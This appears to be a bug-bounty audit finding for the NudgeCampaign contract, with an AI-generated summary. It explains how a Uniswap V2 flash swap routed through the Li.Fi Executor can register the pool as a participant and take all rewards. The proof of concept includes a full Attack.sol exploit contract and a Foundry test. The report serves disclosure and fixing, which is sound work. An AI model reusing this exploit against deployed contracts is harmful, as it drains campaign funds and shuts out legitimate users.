Not verifying that transaction initiator is the actual participator allows malicious user to allocate full reward as Uniswap V2 pool
The NudgeCampaign contract did not verify that the userAddress in handleReallocation matched the transaction initiator, allowing an attacker to register a Uniswap V2 pool as a participant. By using a flash swap to temporarily hold target tokens, the attacker could allocate the entire reward to the pool, leaving no rewards for legitimate users and causing a denial of service.
Submitted by Luc1jan, also found by hgrano and t0x1c
Finding description and impact
To participate in campaign, user has to call swap provider (Li.Fi) Executor::swapAndExecute function. This function performs swap required to get campaign target tokens and calls NudgeCampaign::handleReallocation. NudgeCampaign will receive and forward target tokens to userAddress and update user participation details accordingly. handleReallocation is only callable by SWAP_CALLER_ROLE which is given to Executor to make sure user swaps tokens before being able to participate.
However, user can encode NudgeCampaign::handleReallocation calldata inside Executor::swapAndExecute and set arbitrary userAddress that doesn’t have to be the same as the swap initiator address. This allows user to “gift” allocation to anyone. Protocol backend will track userAddress target tokens balance and invalidate participation if the balance drops below participation amount, so this should not be an issue.
Yet, this becomes problematic if there is an existing Uniswap V2 pool in which one of the tokens is target token. This is highly probable, since target tokens must have a DEX pool in order to be “bought” via swap provider. Malicious user could take advantage of this and create smart contract that would initiate a flash swap from the pool, borrow substantial amount of target tokens, and encode a swap call on Executor::swapAndExecute such that it forwards all tokens to the NudgeCampaign calling handleReallocation with userAddress of the Uniswap pool. NudgeCampaign would register valid participation because handleReallocation was called from Executor and monitoring system wouldn’t invalidate participation since pool has more than enough tokens to pass the balance checks. Flash swap would be successful because NudgeCampaign would send all tokens back to pool in the same transaction.
Attacker would have to buy some tokens to cover Uniswap’s 0.3% fee. This is the only cost for the attacker. Fee can be calculated using unallocated amount and PPQ (rewards factor):
(UnallocatedRewards * PPQ_DENOMINATOR / REWARD_PPQ) * 0.3%
It’s important to note here that funds can be recovered if protocol invalidates malicious participation manually. If this doesn’t happen, funds will stay locked in NudgeCampaign. More importantly, other users won’t be able to participate so whole campaign would be in Denial of Service and with good chance that nobody would even notice it, most likely being marked as success, while campaign admin basically burned rewards for no buying volume in return which is the reason campaign is created for.
Additionally, the exploit wouldn’t work with any other lending protocol because of different flash loan implementation details. Here, for flash loan to be successful pool will verify that funds are returned by checking pool balance at the end, while other protocols usually pull the borrowed funds from the borrower which in this case wouldn’t be possible since NudgeCampaign returns funds for attacker who is borrower.
Proof of Concept
Install Uniswap v2 and Li.Fi repositories (note that we are not using official Uniswap repo because of version mismatch to simplify PoC, it runs successfully on official v2-core contracts, but they require some editing to be able to compile with Solidity 0.8):
forge install lifinance/contracts --no-commit
forge install islishude/uniswapv2-solc0.8 --no-commit
Update remappings.txt:
+ v2-core/=lib/uniswapv2-solc0.8/contracts/
+ lifi/=lib/contracts/src/
Flatten the UniswapV2Factory.sol:
forge flatten lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.sol > lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.flattened.sol
Fix the version in lib/uniswapv2-solc0.8/contracts/UniswapV2Factory.flattened.sol:
// SPDX-License-Identifier: GPL-3.0-or-later
+ pragma solidity ^0.8.4;
- pragma solidity =0.8.4;
Edit line 166 in lib/contracts/src/Periphery/Executor.sol to simplify PoC:
- erc20Proxy.transferFrom(
- _transferredAssetId,
- msg.sender,
- address(this),
- _amount
- );
+ IERC20(_transferredAssetId).transferFrom(msg.sender, address(this), _amount);
Create Attack.sol contract in src/mocks/:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
import {Executor, LibSwap} from "lifi/Periphery/Executor.sol";
import {UniswapV2Pair, UniswapV2Factory} from "v2-core/UniswapV2Factory.flattened.sol";
import {IERC20, NudgeCampaign} from "../campaign/NudgeCampaign.sol";
import {console} from "forge-std/console.sol";
contract Attack {
IERC20 public token;
UniswapV2Pair public pair;
NudgeCampaign public campaign;
Executor public executor;
constructor(address _token, address _pair, address _campaign, address _executor) {
token = IERC20(_token);
pair = UniswapV2Pair(_pair);
campaign = NudgeCampaign(payable(_campaign));
executor = Executor(payable(_executor));
}
function attack() public {
// calculate required tokens take all unallocated reward tokens
uint256 unallocatedRewards = campaign.claimableRewardAmount();
uint256 toTokensRequired = unallocatedRewards * 1e15 / 2e13;
bytes memory swapData = new bytes(0xff);
pair.swap(toTokensRequired, 0, address(this), swapData);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
// encoded contract call from Executor to Campaign::handleReallocation()
bytes memory noData = bytes("");
bytes memory handleReallocationCall = abi.encodeWithSelector(
NudgeCampaign.handleReallocation.selector,
campaign.campaignId(),
address(pair),
address(token),
amount0,
noData
);
// swap that's passed to Executor::swapAndExecute()
LibSwap.SwapData memory swapData = LibSwap.SwapData(
address(campaign), // callTo
address(campaign), // approveTo
address(token), // sendingAssetId
address(token), // receivingAssetId
amount0, // fromAmount
handleReallocationCall, // callData
false // requiresDeposit
);
LibSwap.SwapData[] memory swapsArr = new LibSwap.SwapData[](1);
swapsArr[0] = swapData;
token.approve(address(executor), type(uint256).max);
// call the swap
executor.swapAndExecute(
keccak256("attackTransactionID"),
swapsArr,
address(token),
payable(address(pair)),
amount0
);
// pay fee to Uniswap
token.transfer(address(pair), token.balanceOf(address(this)));
}
}
Update test/NudgeCampaign.t.sol:
-
Add imports:
+ import {Executor, LibSwap} from "lifi/Periphery/Executor.sol"; + import {UniswapV2Pair, UniswapV2Factory} from "v2-core/UniswapV2Factory.flattened.sol"; + import {Attack} from "../mocks/Attack.sol"; -
Add
executorstate variable:TestERC20 toToken; TestERC20 rewardToken; NudgeCampaignFactory factory; + Executor executor; -
Update
setUpfunction:function setUp() public { + address executorProxyErc20 = makeAddr("Executor proxy erc20"); + executor = new Executor(address(executorProxyErc20), owner); owner = msg.sender; toToken = new TestERC20("Incentivized Token", "IT"); rewardToken = new TestERC20("Reward Token", "RT"); + factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor)); - factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, swapCaller); ... } -
And finally, the exploit test case:
function test_userClaimsAllRewards() public { // deploy uniswap factory UniswapV2Factory uniswapFactory = new UniswapV2Factory(owner); vm.startPrank(campaignAdmin); // mint tokens for pool LP TestERC20 weth = new TestERC20("Wrapped ETH", "WETH"); weth.faucet(100_000_000e18); toToken.faucet(100_000_000e18); // create pool (toToken, weth) UniswapV2Pair pair = UniswapV2Pair(uniswapFactory.createPair(address(toToken), address(weth))); // add liquidity 1:1 to keep it simple toToken.transfer(address(pair), 100_000_000e18); weth.transfer(address(pair), 100_000_000e18); pair.mint(campaignAdmin); vm.stopPrank(); address attacker = makeAddr("attacker"); vm.startPrank(attacker); // deploy attacker contract Attack attack = new Attack(address(toToken), address(pair), address(campaign), address(executor)); // send Uniswap 0.3% fee => 15k tokens toToken.mintTo(15_100e18, address(attack)); attack.attack(); vm.stopPrank(); // verify attack success uint256 unallocatedRewards = campaign.claimableRewardAmount(); assertEq(unallocatedRewards, 0); // there are no unallocated rewards left (IBaseNudgeCampaign.ParticipationStatus status, address userAddress, uint256 amount, uint256 rewardAmount,,) = campaign.participations(1); assertEq(uint8(status), uint8(IBaseNudgeCampaign.ParticipationStatus.PARTICIPATING)); // participation is active assertEq(userAddress, address(pair)); // participator is uniswap pair contract assertGe(toToken.balanceOf(address(pair)), amount); // pair has enough tokens and won't get invalidated assertEq(rewardAmount, INITIAL_FUNDING - INITIAL_FUNDING * DEFAULT_FEE_BPS / 10_000); // attacker allocated full reward - 10% nudge fee }
To run:
forge test --mt test_userClaimsAllRewards
Test demonstrates that attacker can basically route borrowed tokens from flash swap through Executor and NudgeCampaign, register new participation as Uniswap V2 Pool and return these tokens, all in the same transaction. Effectively, allocating all rewards for no value provided to campaign owners and making campaign unusable, while protocol would treat it as success.
Recommended mitigation steps
You could modify the NudgeCampaign::handleReallocation such that transaction initiator must be the actual participator:
require(userAddress == tx.origin, "participator must be transaction initiator")
Or, you could blacklist pools addresses and let monitoring system do the invalidation.
raphael (Nudge.xyz) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the handleReallocation function did not verify that the userAddress parameter matched the address that initiated the swap, allowing arbitrary addresses to be registered as participants.
Impact
The attacker could allocate the full reward to the pool, leaving no rewards for legitimate users and causing a denial of service for the campaign; the attacker only pays the Uniswap fee, and the protocol may not notice the attack.
What the attacker needed
A Uniswap V2 pool with the target token exists; Attacker can deploy a contract and pay the 0.3% flash swap…
The fix
The handleReallocation function should be modified to require that the userAddress equals the transaction initiator (tx.origin), or pools should be blacklisted and monitoring should invalidate such participations.
How it was found
- Deploy a malicious contract that initiates a flash swap from a Uniswap V2 pool containing the target token.
- In the flash swap callback, encode a call to handleReallocation with the pool's address as userAddress and pass it to Executor::swapAndExecute.
- The Executor calls handleReallocation, which registers the pool as a participant and allocates rewards.
- Return the borrowed tokens to the pool to complete the flash swap, paying only the 0.3% fee.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A campaign lets people earn rewards by swapping tokens. The contract didn't check that the person claiming the reward was the one who actually did the swap. An attacker could pretend a large pool of tokens was a participant, borrow enough tokens temporarily to pass the check, and take all the rewards, leaving none for real users.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.